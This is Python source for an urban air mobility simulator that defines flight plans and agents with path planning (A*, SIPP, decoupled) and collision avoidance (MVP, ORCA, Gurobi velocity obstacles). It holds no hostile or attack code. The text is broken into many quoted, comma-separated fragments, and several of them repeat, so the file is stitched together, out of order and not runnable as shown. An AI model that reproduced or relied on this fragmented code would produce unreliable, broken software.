agent_log['density']= self.density if self.agent_logic == 'strategic': agent_log['time_to_preflight'] = self.preflight_time", "conflict (tcpa is negative) then just keep going if t_cpa<=0: dV = 0", "neighbors == []: return [] else: return neighbors[neighbors != self] def finish_flight(self, t,goal_pos=None,", "ideal_length = float(np.linalg.norm(self.goal - self.start)) actual_length = 0 if self.trajectory == []: print('agent,", "= self.compute_straight_move(self.position, self.goal, self.maxSpeed, dt) self.new_velocity = (self.new_position - self.position) / dt if", "self.compute_straight_move(pos, self.goal, self.maxSpeed, dt) d = np.linalg.norm(self.goal - pos) plan.append(pos) if d !=", "get_planned_trajectory_between(self, start_time, end_time, debug=False): \"\"\" Returns trajectory between start_time and end_time\"\"\" if (start_time", "agent start and goal are still close') else: self.start = start self.goal =", "= python_time.time() self.preflight_time = timer_end - timer_start return self.flightPlan if algo_type == 'A_star_8':", "agents is 0') if ownship_agent.radius > d: print('there is an intruder in the", "return_velocity: return None, None else: return None n = len(self.positions) if self.time_step is", "radius self.orientation = 0 self.minSpeed = 0.0 self.maxSpeed = max_speed self.sensing_radius = sensing_radius", "self.t_removed_from_sim is not None: agent_log['time_removed_from_sim']=self.t_removed_from_sim agent_log['heading']= heading agent_log['density']= self.density if self.agent_logic == 'strategic':", "None, None trajectory_end_time = min(end_time, self.end_time) trajectory_start_time = max(start_time, self.start_time) trajectory = []", "def move(self): self.position = np.copy(self.new_position) self.velocity = np.copy(self.new_velocity) return self.position def velocity_update(self, new_velocity):", "X[0] + X[1] * X[1] <= max_vel ** 2) model.setObjective( (X[0] - desired_vel[0])", "self.new_velocity = (self.new_position - self.position) / dt if self.agent_logic == 'reactive': self.cumulative_density +=", "to search sorted trajectory.append(self.get_planned_position_at(trajectory_start_time)) times.append(trajectory_start_time) for i in range(start_index, end_index): trajectory.append(self.positions[i]) times.append(self.times[i]) #", "orientation = math.atan2(goal[1] - current_position[1], goal[0] - current_position[0]) d = np.linalg.norm(goal - current_position)", "self.radius = radius self.orientation = 0 self.minSpeed = 0.0 self.maxSpeed = max_speed self.sensing_radius", "# VO cone half-angle (>=0) theta = math.atan2(rel_pos[1], rel_pos[0]) vector1 = [math.cos(theta +", "sorted [start_index, end_index] = np.searchsorted(self.times, [trajectory_start_time, trajectory_end_time]) temp = self.times[start_index] if abs(self.times[start_index]-trajectory_start_time) >", "self.trajectory_times.append(current_time) self.trajectory.append(np.copy(self.new_position)) self.trajectory_times.append(current_time + dt) self.flight_status = 'ongoing' def compute_straight_move(self, current_position, goal, speed,", "be arbitrarily large so that when the binary constraint is 1 the constraint", "lower = math.ceil(start_index_float) upper = min(math.floor(end_index_float), len(self.positions) - 1) if lower != start_index_float:", "uam_simulator import my_utils from uam_simulator import pathPlanning from uam_simulator import orca import gurobipy", "' + str(self.new_position)) print('old position ' + str(self.position)) if self.trajectory == []: self.trajectory.append(np.copy(self.position))", "min(d / dt, self.maxSpeed) if d == 0: print('VO, this should not happen')", "= (self.goal - self.position) * speed / d timer_end = python_time.time() self.collision_avoidance_time.append(timer_end -", "= desired_velocity - neighbor.velocity if np.linalg.norm(delta_vel)==0: t_cpa=0 else: t_cpa=-np.dot(delta_pos, delta_vel) / np.dot(delta_vel, delta_vel)", "self.new_velocity = self.velocity_update(self.new_velocity) self.new_position += self.new_velocity * dt if self.agent_logic == 'strategic': #", "timer_end - timer_start return self.flightPlan else: print('The algo type ' + algo_type +", "np.copy(self.new_position) self.velocity = np.copy(self.new_velocity) return self.position def velocity_update(self, new_velocity): # Introduce kinematic constraints", "None if times is not None: self.time_step = None self.times = np.array(times) else:", "i in range(start_index, end_index): trajectory.append(self.positions[i]) times.append(self.times[i]) # trajectory_end_time <= times[end_index] if abs(self.times[end_index]-trajectory_end_time) >", "- desired_vel[1]) * (X[1] - desired_vel[1]), GRB.MINIMIZE) model.setParam(\"OutputFlag\", 0) model.setParam(\"FeasibilityTol\", 1e-9) model.update() return", "class Flightplan: def __init__(self, t0, dt, positions, times=None): self.start_time = t0 self.positions =", "pathPlanning from uam_simulator import orca import gurobipy as grb from gurobipy import GRB", "float((trajectory_start_time - self.start_time) / self.time_step) end_index_float = float((trajectory_end_time - self.start_time) / self.time_step) lower", "are still close') else: self.start = start self.goal = end self.position = np.copy(self.start)", "if algo_type == 'Straight': timer_start = python_time.time() plan = [] plan.append(self.start) pos =", "self.radius: # If head-on conflict if dabsH<=10: dabsH=10 dcpa[0] = delta_pos[1] / dist", "dt self.times = None if times is not None: self.time_step = None self.times", "lower != start_index_float: pos_0 = self.get_planned_position_at(start_time) trajectory.append(np.copy(pos_0)) times.append(trajectory_start_time) for index in range(lower, upper", "grb.Model('VO') max_vel = ownship_agent.maxSpeed model.addVar(lb=-max_vel, ub=max_vel, name='x') model.addVar(lb=-max_vel, ub=max_vel, name='y') model.addVars(2 * len(intruders),", "setupMIQCP(intruders, desired_velocity, self) model.optimize() if model.status != GRB.Status.OPTIMAL: print('Error gurobi failed to find", "is '+str(self.time_step)) print('start_time is '+str(start_time)) print('end_time '+str(end_time)) print('positions '+str(self.positions)) print('times '+str(self.times)) print(start_time-self.end_time) if", "self.position) * speed / d timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return desired_velocity", "agent_log['ideal_time_of_arrival']= self.desired_start_time+ideal_length / self.maxSpeed agent_log['actual_time_of_arrival']= self.arrival_time if self.t_removed_from_sim is not None: agent_log['time_removed_from_sim']=self.t_removed_from_sim agent_log['heading']=", "float(self.time_step) idx_low = min(math.floor(idx_float), n - 1) idx_high = min(math.ceil(idx_float), n - 1)", "self.start)) self.velocity = self.maxSpeed * (self.goal - self.start) / (np.linalg.norm(self.goal - self.start)) self.new_velocity", "to arrive at the goal on the next time step return current_position +", "close, redrawing at random') self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start - self.goal) <", "time or idx_low == idx_high: if return_velocity: if idx_high == n-1: velocity =", "(pos_high - pos_low) * (idx_float - idx_low) def get_planned_trajectory_between(self, start_time, end_time, debug=False): \"\"\"", "self.flight_status = 'ongoing' def compute_straight_move(self, current_position, goal, speed, dt): orientation = math.atan2(goal[1] -", "constraint in constraints_or: c = constraint(0, 0) a = constraint(1, 0) - c", "heading agent_log['density']= self.density if self.agent_logic == 'strategic': agent_log['time_to_preflight'] = self.preflight_time elif self.agent_logic ==", "- dabsH)*dcpa/(abs(t_cpa)*dabsH) velocity_change += dV timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return desired_velocity", "Can't have random start and not random end (or vice versa) if start", "print('distance to goal is 0') desired_velocity = (self.goal - self.position) * speed /", "plan times ' + str(times)) self.flightPlan = Flightplan(times[0], times[1] - times[0], plan, times=np.array(times))", "self.algo_type == 'straight': return True neighbors = self.environment.get_neighbors(self.position, self.radius) for vehicle in neighbors:", "0') desired_velocity = (self.goal - self.position) * speed / d model = setupMIQCP(intruders,", "max_radius) if neighbors == []: return [] else: return neighbors[neighbors != self] def", "[]: self.trajectory.append(np.copy(self.position)) self.trajectory_times.append(current_time) self.trajectory.append(np.copy(self.new_position)) self.trajectory_times.append(current_time + dt) self.flight_status = 'ongoing' def compute_straight_move(self, current_position,", "d) # VO cone half-angle (>=0) theta = math.atan2(rel_pos[1], rel_pos[0]) vector1 = [math.cos(theta", "'Decoupled': timer_start = python_time.time() decoupled_planner = pathPlanning.DecoupledApproach(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success,", "- float(self.start_time)) / float(self.time_step) idx_low = min(math.floor(idx_float), n - 1) idx_high = min(math.ceil(idx_float),", "= self.position - neighbor.position dist=np.linalg.norm(delta_pos) delta_vel = desired_velocity - neighbor.velocity if np.linalg.norm(delta_vel)==0: t_cpa=0", "The returned velocity might not be feasible if algo_type == 'MVP_Bluesky': timer_start =", "= abs(a * max_vel) + abs(b * max_vel) + c model.addConstr(a * X[0]", "times[end_index] if abs(self.times[end_index]-trajectory_end_time) > 1e-4: # requires interpolation trajectory.append(self.get_planned_position_at(trajectory_end_time)) times.append(trajectory_end_time) else: trajectory.append(self.positions[end_index]) times.append(trajectory_end_time)", "= self.flightPlan.get_planned_position_at(current_time + dt, debug=debug) self.new_velocity = (self.new_position - self.position) / dt if", "self.centralized_manager = centralized_manager self.agent_dynamics = agent_dynamics if agent_logic == 'dumb': protected_area = self.environment.get_protected_area()", "self.positions[idx_high], velocity else: return self.positions[idx_high] idx_float = idx_low + (time - self.times[idx_low]) /", "self.end_time: if return_velocity: return None, None else: return None n = len(self.positions) if", "self.new_position = self.compute_straight_move(self.position, self.goal, self.maxSpeed, dt) self.new_velocity = (self.new_position - self.position) / dt", "dt if self.agent_logic == 'strategic': # Follow flight plan (without consideration for kinematic", "trajectory_end_time <= times[end_index] if abs(self.times[end_index]-trajectory_end_time) > 1e-4: # requires interpolation trajectory.append(self.get_planned_position_at(trajectory_end_time)) times.append(trajectory_end_time) else:", "GRB.Status.OPTIMAL: print('Error gurobi failed to find a solution') print(model.status) vars = model.getVars() if", "start and not random end (or vice versa) if start is None or", "self.time_step else: return self.times[-1] class Agent: def __init__(self, env, radius, max_speed, start=None, end=None,", "'MVP' self.new_velocity = self.collision_avoidance(dt, algo_type=self.algo_type) self.new_velocity = self.velocity_update(self.new_velocity) self.new_position += self.new_velocity * dt", "delta_pos[1] / dist * dabsH dcpa[1] = -delta_pos[0] / dist * dabsH if", "pos_low = self.positions[idx_low] # if time is exactly integer then returns the exact", "position ' + str(self.position)) if self.trajectory == []: self.trajectory.append(np.copy(self.position)) self.trajectory_times.append(current_time) self.trajectory.append(np.copy(self.new_position)) self.trajectory_times.append(current_time +", "/ dt) * direction / d safety_factor = 1.10 # 10% safety factor", "success, plan, times = sipp_planner.search() if not success: self.flight_status = 'cancelled' return None", "print('VO, this should not happen') print('distance to goal is 0') desired_velocity = (self.goal", "* normal_1, normal_1) # must be smaller normal_2 = np.array([-vector2[1], vector2[0]]) # Rotated", "= None self.status = 'ok' self.agent_logic = agent_logic self.tolerance = self.environment.tolerance self.t_removed_from_sim=None if", "or idx_low == idx_high: if return_velocity: if idx_high == n-1: velocity = np.array([0,", "t self.t_removed_from_sim=t_removed_from_sim if goal_pos is not None: self.trajectory.append(np.copy(goal_pos)) self.trajectory_times.append(t) def log_agent(self): agent_log =", "n_intruder += 1 model.addConstr(X[0] * X[0] + X[1] * X[1] <= max_vel **", "get_nearest_neighbors(self, k, max_radius): # Will return itself so query one more neighbor neighbors", "d = np.linalg.norm(self.goal - self.position) speed = min(d / dt, self.maxSpeed) desired_velocity =", "- timer_start return None self.start_time = times[0] self.flightPlan = Flightplan(times[0], times[1] - times[0],", "= np.asarray([0.0, 0.0]) direction = self.goal - self.position d = np.linalg.norm(direction) desired_velocity =", "- self.start)) self.velocity = self.maxSpeed * (self.goal - self.start) / (np.linalg.norm(self.goal - self.start))", "= np.copy(self.start) self.radius = radius self.orientation = 0 self.minSpeed = 0.0 self.maxSpeed =", "' + str(times)) self.flightPlan = Flightplan(times[0], times[1] - times[0], plan, times=np.array(times)) timer_end =", "is not None: self.end_time = self.start_time + (len(self.positions) - 1) * self.time_step else:", "agent_log['total_planning_time'] = sum(self.collision_avoidance_time) return agent_log def get_VO(intruder_agent, ownship_agent): if intruder_agent == ownship_agent: print('get_VO", "dcpa[0] = delta_pos[1] / dist * dabsH dcpa[1] = -delta_pos[0] / dist *", "name='y') model.addVars(2 * len(intruders), vtype=GRB.BINARY) model.update() X = model.getVars() n_intruder = 0 for", "self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times = local_planner.search() if not success: self.flight_status =", "plan goal and surrounding vehicles decide where to go # Based on Hoekstra", "* len(intruders), vtype=GRB.BINARY) model.update() X = model.getVars() n_intruder = 0 for intruder in", "== 'strategic': # Follow flight plan (without consideration for kinematic properties) self.new_position =", "np from uam_simulator import my_utils from uam_simulator import pathPlanning from uam_simulator import orca", "times.append(trajectory_end_time) return trajectory, times def get_end_time(self): if self.time_step is not None: return self.start_time", "Returns trajectory between start_time and end_time\"\"\" if (start_time - self.end_time) >= -1e-4 or", "else: print('The algo type ' + algo_type + ' is not implemented') def", "2) model.setObjective( (X[0] - desired_vel[0]) * (X[0] - desired_vel[0]) + (X[1] - desired_vel[1])", "return self.start_time + (len(self.positions) - 1) * self.time_step else: return self.times[-1] class Agent:", "== n-1: velocity = np.array([0, 0]) else: velocity = (self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high]) return self.positions[idx_high], velocity", "return self.positions[idx_high], velocity else: return self.positions[idx_high] else: if time > self.times[-1]: return np.copy(self.positions[-1])", "= ownship_agent.maxSpeed model.addVar(lb=-max_vel, ub=max_vel, name='x') model.addVar(lb=-max_vel, ub=max_vel, name='y') model.addVars(2 * len(intruders), vtype=GRB.BINARY) model.update()", "[] else: return neighbors[neighbors != self] def finish_flight(self, t,goal_pos=None, t_removed_from_sim=None): self.flight_status = 'finished'", "be feasible if algo_type == 'MVP_Bluesky': timer_start = python_time.time() neighbors = self.get_neighbors() velocity_change", "return desired_velocity else: print(algo_type+' not implemented ') def get_neighbors(self): neighbors = self.environment.get_neighbors(self.position, self.sensing_radius)", "is not None: self.trajectory.append(np.copy(goal_pos)) self.trajectory_times.append(t) def log_agent(self): agent_log = {'flight_status': self.flight_status, 'agent_type': self.agent_logic,", "ownship_agent): if intruder_agent == ownship_agent: print('get_VO this should not happen intruder and ownship", "start self.goal = end self.position = np.copy(self.start) # Passed by reference self.new_position =", "ignore_timed_out=False, debug=False): \"\"\" Interpolates between the flight points \"\"\" if ignore_timed_out and time", "# Passed by reference self.new_position = np.copy(self.start) self.radius = radius self.orientation = 0", "(self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high]) return self.positions[idx_high], velocity else: return self.positions[idx_high] else: if time > self.times[-1]: return", "new_velocity) max_angle=30*math.pi/180 if abs(turn_angle)>max_angle: vel = self.velocity * v_clamped / np.linalg.norm(self.velocity) theta=math.copysign(max_angle,turn_angle) return", "close print(self.start) print(self.goal) pos_0 = self.trajectory[0] for pos in self.trajectory: d = np.linalg.norm(pos", "delta_vel) dcpa = delta_pos+delta_vel*t_cpa dabsH = np.linalg.norm(dcpa) # If there is a conflict", "< 10: print('unlikely, agent start and goal are still close') else: self.start =", "np.linalg.norm(self.goal - pos) # Larger time steps require larger tolerance # TODO tolerances", "import GRB import time as python_time class Flightplan: def __init__(self, t0, dt, positions,", "= astar_planner.search() if not success: self.flight_status = 'cancelled' timer_end = python_time.time() self.preflight_time =", "== 'dumb': protected_area = self.environment.get_protected_area() else: # All other agents can wait in", "0) a = constraint(1, 0) - c b = constraint(0, 1) - c", "= start_time # actual start time if a ground delay is planned if", "= math.atan2(rel_pos[1], rel_pos[0]) vector1 = [math.cos(theta + alpha), math.sin(theta + alpha)] vector2 =", "return self.times[-1] class Agent: def __init__(self, env, radius, max_speed, start=None, end=None, start_time=0, agent_logic='dumb',", "self.arrival_time = t self.t_removed_from_sim=t_removed_from_sim if goal_pos is not None: self.trajectory.append(np.copy(goal_pos)) self.trajectory_times.append(t) def log_agent(self):", "python_time.time() decoupled_planner = pathPlanning.DecoupledApproach(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times =", "= t0 self.positions = positions self.time_step = dt self.times = None if times", "times def get_end_time(self): if self.time_step is not None: return self.start_time + (len(self.positions) -", "'cancelled' return None self.start_time = times[0] ## Debug if len(times) < 2: print('the", "'+str(self.times)) print(start_time-self.end_time) if self.time_step is None: # self.times is sorted [start_index, end_index] =", "self.environment.get_protected_area() else: # All other agents can wait in place protected_area = None", "on Hoekstra Bluesky simulator # The returned velocity might not be feasible if", "== []: return [] else: return neighbors[neighbors != self] def finish_flight(self, t,goal_pos=None, t_removed_from_sim=None):", "self.start)) self.new_velocity = self.velocity self.trajectory = [] self.trajectory_times = [] self.collision_avoidance_time = []", "= math.atan2(direction[1], direction[0]) if self.agent_logic == 'reactive': self.density = self.cumulative_density/self.n_steps - 1 agent_log['flight_status']=", "<= times[end_index] if abs(self.times[end_index]-trajectory_end_time) > 1e-4: # requires interpolation trajectory.append(self.get_planned_position_at(trajectory_end_time)) times.append(trajectory_end_time) else: trajectory.append(self.positions[end_index])", "= [] times = [] if debug: print('time step is '+str(self.time_step)) print('start_time is", "self.tolerance = self.environment.tolerance self.t_removed_from_sim=None if agent_logic == 'dumb': self.ownship = False else: self.ownship", "if start is None or end is None: self.start, self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if", "== 'ORCA': timer_start = python_time.time() reactive_solver = orca.ORCA() vel=reactive_solver.compute_new_velocity(self, dt) timer_end = python_time.time()", "return_velocity=False, ignore_timed_out=False, debug=False): \"\"\" Interpolates between the flight points \"\"\" if ignore_timed_out and", "# if np.linalg.norm(self.position - vehicle.position) <= self.radius: self.flight_status = 'waiting' return False self.start_time", "ownship_agent.maxSpeed model.addVar(lb=-max_vel, ub=max_vel, name='x') model.addVar(lb=-max_vel, ub=max_vel, name='y') model.addVars(2 * len(intruders), vtype=GRB.BINARY) model.update() X", "compute_next_move(self, current_time, dt, debug=False, density=0): \"\"\" Store the next position in self.new_position. The", "np.asarray([[math.cos(theta), math.sin(theta)], [-math.sin(theta), math.cos(theta)]]) else: return new_velocity * v_clamped / v def preflight(self,", "min(self.maxSpeed, d / dt) * direction / d safety_factor = 1.10 # 10%", "must be greater normal_1 = np.array([vector1[1], -vector1[0]]) # Rotated +90 degrees constraint1 =", "agent_logic self.tolerance = self.environment.tolerance self.t_removed_from_sim=None if agent_logic == 'dumb': self.ownship = False else:", "algo_type == 'MVP_Bluesky': timer_start = python_time.time() neighbors = self.get_neighbors() velocity_change = np.asarray([0.0, 0.0])", "'reactive': self.cumulative_density += density self.n_steps += 1 if self.algo_type is None: self.algo_type =", "agent_logic='dumb', centralized_manager=None, algo_type=None, agent_dynamics=None, id=0, sensing_radius=10000, flight_leg='initial'): self.id = id self.environment = env", "Since we already now the index we could avoid a second call to", "upper + 1): trajectory.append(self.positions[index]) # times.append(self.start_time+index*self.time_step) times.append(self.times[index]) if upper != end_index_float: pos_end =", "str(self.new_position)) print('old position ' + str(self.position)) if self.trajectory == []: self.trajectory.append(np.copy(self.position)) self.trajectory_times.append(current_time) self.trajectory.append(np.copy(self.new_position))", "timer_start return None self.start_time = times[0] self.flightPlan = Flightplan(times[0], times[1] - times[0], plan,", "self.times[-1]: return np.copy(self.positions[-1]) idx_high = np.searchsorted(self.times, time) idx_low = max(0, idx_high - 1)", "simulator # The returned velocity might not be feasible if algo_type == 'MVP_Bluesky':", "else: print(algo_type+' not implemented ') def get_neighbors(self): neighbors = self.environment.get_neighbors(self.position, self.sensing_radius) if neighbors", "model.getVars() n_intruder = 0 for intruder in intruders: constraints_or = get_VO(intruder, ownship_agent) n_constraint", "get_VO(intruder_agent, ownship_agent): if intruder_agent == ownship_agent: print('get_VO this should not happen intruder and", "could avoid a second call to search sorted trajectory.append(self.get_planned_position_at(trajectory_start_time)) times.append(trajectory_start_time) for i in", "in self.trajectory: d = np.linalg.norm(pos - pos_0) actual_length += d pos_0 = np.copy(pos)", "neighbor in neighbors: # Find Time of Closest Approach delta_pos = self.position -", "algo_type == 'straight': timer_start = python_time.time() d = np.linalg.norm(self.goal - self.position) speed =", "intruder in the protected radius') print(ownship_agent.position) print(intruder_agent.position) alpha = math.asin(ownship_agent.radius / d) #", "instantly change the orientation v = np.linalg.norm(new_velocity) v_clamped = my_utils.clamp(self.minSpeed, self.maxSpeed, v) if", "# If there is a conflict if dabsH < self.radius: # If head-on", "ownship_agent) n_constraint = 0 for constraint in constraints_or: c = constraint(0, 0) a", "if d != 0: plan.append(self.goal) self.flightPlan = Flightplan(self.start_time, dt, plan) timer_end = python_time.time()", "start_index_float: pos_0 = self.get_planned_position_at(start_time) trajectory.append(np.copy(pos_0)) times.append(trajectory_start_time) for index in range(lower, upper + 1):", "if neighbors == []: return [] else: return neighbors[neighbors != self] def get_nearest_neighbors(self,", "agent_dynamics=None, id=0, sensing_radius=10000, flight_leg='initial'): self.id = id self.environment = env self.centralized_manager = centralized_manager", "* self.time_step else: return self.times[-1] class Agent: def __init__(self, env, radius, max_speed, start=None,", "algo_type=None, agent_dynamics=None, id=0, sensing_radius=10000, flight_leg='initial'): self.id = id self.environment = env self.centralized_manager =", "print(ownship_agent.position) print(intruder_agent.position) alpha = math.asin(ownship_agent.radius / d) # VO cone half-angle (>=0) theta", "times = local_planner.search() if not success: self.flight_status = 'cancelled' return None self.start_time =", "else: dV =(self.radius*safety_factor - dabsH)*dcpa/(abs(t_cpa)*dabsH) velocity_change += dV timer_end = python_time.time() self.collision_avoidance_time.append(timer_end -", "* direction / d safety_factor = 1.10 # 10% safety factor (as in", "self.start)) actual_length = 0 if self.trajectory == []: print('agent, empty trajectory ') #", "actual_length agent_log['ideal_time_of_arrival']= self.desired_start_time+ideal_length / self.maxSpeed agent_log['actual_time_of_arrival']= self.arrival_time if self.t_removed_from_sim is not None: agent_log['time_removed_from_sim']=self.t_removed_from_sim", "- self.start_time) / self.time_step) lower = math.ceil(start_index_float) upper = min(math.floor(end_index_float), len(self.positions) - 1)", "= 'waiting' return False self.start_time = t return True def collision_avoidance(self, dt, algo_type='MVP'):", "if self.agent_logic == 'strategic': agent_log['time_to_preflight'] = self.preflight_time elif self.agent_logic == 'reactive': agent_log['average_time_to_plan_avoidance'] =", "is '+str(start_time)) print('end_time '+str(end_time)) print('positions '+str(self.positions)) print('times '+str(self.times)) print(start_time-self.end_time) if self.time_step is None:", "self.goal = self.environment.get_random_start_and_end(protected_area_start=protected_area) if np.linalg.norm(self.start - self.goal) < 10: # Play one more", "if self.flight_status== 'finished' or self.flight_status == 'ongoing': agent_log['actual_time_of_departure'] = self.start_time if self.flight_status ==", "return self.flightPlan if algo_type == 'LocalVO': timer_start = python_time.time() local_planner = pathPlanning.Local_VO(self.start, self.goal,", "/ v else: turn_angle = my_utils.get_angle(self.velocity, new_velocity) max_angle=30*math.pi/180 if abs(turn_angle)>max_angle: vel = self.velocity", "= min(self.maxSpeed, d / dt) * direction / d safety_factor = 1.10 #", "') # happens if start and goal are really close print(self.start) print(self.goal) pos_0", "decoupled_planner = pathPlanning.DecoupledApproach(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times = decoupled_planner.search()", "is exactly integer then returns the exact pos if debug: print(idx_float) print(pos_high) print(pos_low)", "print('end_time '+str(end_time)) print('positions '+str(self.positions)) print('times '+str(self.times)) print(start_time-self.end_time) if self.time_step is None: # self.times", "= algo_type self.cumulative_density=0 self.density=0 self.n_steps=0 self.flight_leg=flight_leg def get_predicted_end_time(self): if self.flightPlan is not None:", "vehicle.position) <= self.radius: self.flight_status = 'waiting' return False self.start_time = t return True", "'strategic': agent_log['time_to_preflight'] = self.preflight_time elif self.agent_logic == 'reactive': agent_log['average_time_to_plan_avoidance'] = sum(self.collision_avoidance_time) / len(self.collision_avoidance_time)", "n - 1) idx_high = min(math.ceil(idx_float), n - 1) if idx_low == idx_high:", "If already moving away from conflict (tcpa is negative) then just keep going", "math.sin(theta)], [-math.sin(theta), math.cos(theta)]]) else: return new_velocity * v_clamped / v def preflight(self, dt,", "self.cumulative_density += density self.n_steps += 1 if self.algo_type is None: self.algo_type = 'MVP'", "1 model.addConstr(X[0] * X[0] + X[1] * X[1] <= max_vel ** 2) model.setObjective(", "self.start_time) trajectory = [] times = [] if debug: print('time step is '+str(self.time_step))", "not None: return self.flightPlan.end_time else: print('Agent: in order to get the predicted end", "t_cpa<=0: dV = 0 else: dV =(self.radius*safety_factor - dabsH)*dcpa/(abs(t_cpa)*dabsH) velocity_change += dV timer_end", "positions, times=None): self.start_time = t0 self.positions = positions self.time_step = dt self.times =", "/ dt if debug: print('New position ' + str(self.new_position)) print('old position ' +", "# else: for neighbor in neighbors: # Find Time of Closest Approach delta_pos", "is not implemented') def can_safely_take_off(self, t): if self.algo_type == 'straight': return True neighbors", "if algo_type == 'A_star_8': timer_start = python_time.time() astar_planner = pathPlanning.AStar_8grid(self.start, self.goal, self.start_time, self.maxSpeed,", "!= 0: plan.append(self.goal) self.flightPlan = Flightplan(self.start_time, dt, plan) timer_end = python_time.time() self.preflight_time =", "= agent_logic self.tolerance = self.environment.tolerance self.t_removed_from_sim=None if agent_logic == 'dumb': self.ownship = False", "algo_type='Straight', density=0): # Given, the start/goals and published flight plans of other agents", "of a mess while d > self.maxSpeed * dt: pos = self.compute_straight_move(pos, self.goal,", "= id self.environment = env self.centralized_manager = centralized_manager self.agent_dynamics = agent_dynamics if agent_logic", "away from conflict (tcpa is negative) then just keep going if t_cpa<=0: dV", "index we could avoid a second call to search sorted trajectory.append(self.get_planned_position_at(trajectory_start_time)) times.append(trajectory_start_time) for", "math.sin(theta - alpha)] # must be greater normal_1 = np.array([vector1[1], -vector1[0]]) # Rotated", "properties) self.new_position = self.flightPlan.get_planned_position_at(current_time + dt, debug=debug) self.new_velocity = (self.new_position - self.position) /", "plan.append(self.goal) self.flightPlan = Flightplan(self.start_time, dt, plan) timer_end = python_time.time() self.preflight_time = timer_end -", "import my_utils from uam_simulator import pathPlanning from uam_simulator import orca import gurobipy as", "= 'ongoing' def compute_straight_move(self, current_position, goal, speed, dt): orientation = math.atan2(goal[1] - current_position[1],", "get_neighbors(self): neighbors = self.environment.get_neighbors(self.position, self.sensing_radius) if neighbors == []: return [] else: return", "return [] else: return neighbors[neighbors != self] def finish_flight(self, t,goal_pos=None, t_removed_from_sim=None): self.flight_status =", "distance between the two agents is 0') if ownship_agent.radius > d: print('there is", "GRB import time as python_time class Flightplan: def __init__(self, t0, dt, positions, times=None):", "returned velocity might not be feasible if algo_type == 'MVP_Bluesky': timer_start = python_time.time()", "the goal on the next time step return current_position + np.array([math.cos(orientation), math.sin(orientation)]) *", "else: return new_velocity * v_clamped / v def preflight(self, dt, algo_type='Straight', density=0): #", "> 1e-4: # requires interpolation trajectory.append(self.get_planned_position_at(trajectory_end_time)) times.append(trajectory_end_time) else: trajectory.append(self.positions[end_index]) times.append(trajectory_end_time) else: start_index_float =", "really close print(self.start) print(self.goal) pos_0 = self.trajectory[0] for pos in self.trajectory: d =", "density=0): \"\"\" Store the next position in self.new_position. The position is updated when", "abs(self.times[end_index]-trajectory_end_time) > 1e-4: # requires interpolation trajectory.append(self.get_planned_position_at(trajectory_end_time)) times.append(trajectory_end_time) else: trajectory.append(self.positions[end_index]) times.append(trajectory_end_time) else: start_index_float", "self.start) == 0: print(agent_logic) print(start) print(end) print(np.linalg.norm(self.goal - self.start)) self.velocity = self.maxSpeed *", "the next time step return current_position + np.array([math.cos(orientation), math.sin(orientation)]) * max_step_length def move(self):", "neighbors = self.get_neighbors() velocity_change = np.asarray([0.0, 0.0]) direction = self.goal - self.position d", "time as python_time class Flightplan: def __init__(self, t0, dt, positions, times=None): self.start_time =", "= np.array([0, 0]) else: velocity = (self.positions[idx_high+1]-self.positions[idx_high])/(self.times[idx_high+1]-self.times[idx_high]) return self.positions[idx_high], velocity else: return self.positions[idx_high]", "= pathPlanning.DecoupledApproach(self.start, self.goal, self.start_time, self.maxSpeed, self.centralized_manager, self.tolerance) success, plan, times = decoupled_planner.search() if", "and goal are still close') else: self.start = start self.goal = end self.position", "= np.linalg.norm(rel_pos) if d == 0: print('the distance between the two agents is", "- alpha)] # must be greater normal_1 = np.array([vector1[1], -vector1[0]]) # Rotated +90", "velocity might not be feasible if algo_type == 'MVP_Bluesky': timer_start = python_time.time() neighbors", "d = np.linalg.norm(self.goal - pos) # Larger time steps require larger tolerance #", "if self.trajectory == []: print('agent, empty trajectory ') # happens if start and", "neighbors[neighbors != self] def get_nearest_neighbors(self, k, max_radius): # Will return itself so query", "protected_area = None # Can't have random start and not random end (or", "agent_logic == 'dumb': self.ownship = False else: self.ownship = True self.flight_status = 'initialized'", "goal are really close print(self.start) print(self.goal) pos_0 = self.trajectory[0] for pos in self.trajectory:", "else: trajectory.append(self.positions[end_index]) times.append(trajectory_end_time) else: start_index_float = float((trajectory_start_time - self.start_time) / self.time_step) end_index_float =", "math.atan2(goal[1] - current_position[1], goal[0] - current_position[0]) d = np.linalg.norm(goal - current_position) max_step_length =", "reactive_solver = orca.ORCA() vel=reactive_solver.compute_new_velocity(self, dt) timer_end = python_time.time() self.collision_avoidance_time.append(timer_end - timer_start) return vel", "y]) - intruder_agent.velocity) + 0.1 * normal_1, normal_1) # must be smaller normal_2", "print(pos_low) if return_velocity: return pos_low + (pos_high - pos_low) * (idx_float - idx_low),", "self.collision_avoidance_time.append(timer_end - timer_start) return desired_velocity else: print(algo_type+' not implemented ') def get_neighbors(self): neighbors", "= np.copy(pos) direction = self.goal - self.start heading = math.atan2(direction[1], direction[0]) if self.agent_logic", "* self.time_step for i in range(0, len(self.positions))]) if self.time_step is not None: self.end_time", "neighbor neighbors = self.environment.get_nearest_neighbors(self.position, k+1, max_radius) if neighbors == []: return [] else:", "self.start_time def compute_next_move(self, current_time, dt, debug=False, density=0): \"\"\" Store the next position in", "not random end (or vice versa) if start is None or end is", "< self.radius: # If head-on conflict if dabsH<=10: dabsH=10 dcpa[0] = delta_pos[1] /", "start/goals and published flight plans of other agents find a free path and", "= lambda x, y: np.dot((np.array([x, y]) - intruder_agent.velocity) + 0.1 * normal_1, normal_1)", "dt, algo_type='MVP'): # Given current position, next flight plan goal and surrounding vehicles", "dV =(((self.radius*safety_factor) / erratum - dabsH) * dcpa)/(abs(t_cpa)*dabsH) else: # If already moving", "self.flightPlan = Flightplan(self.start_time, dt, plan) timer_end = python_time.time() self.preflight_time = timer_end - timer_start", "if algo_type == 'MVP_Bluesky': timer_start = python_time.time() neighbors = self.get_neighbors() velocity_change = 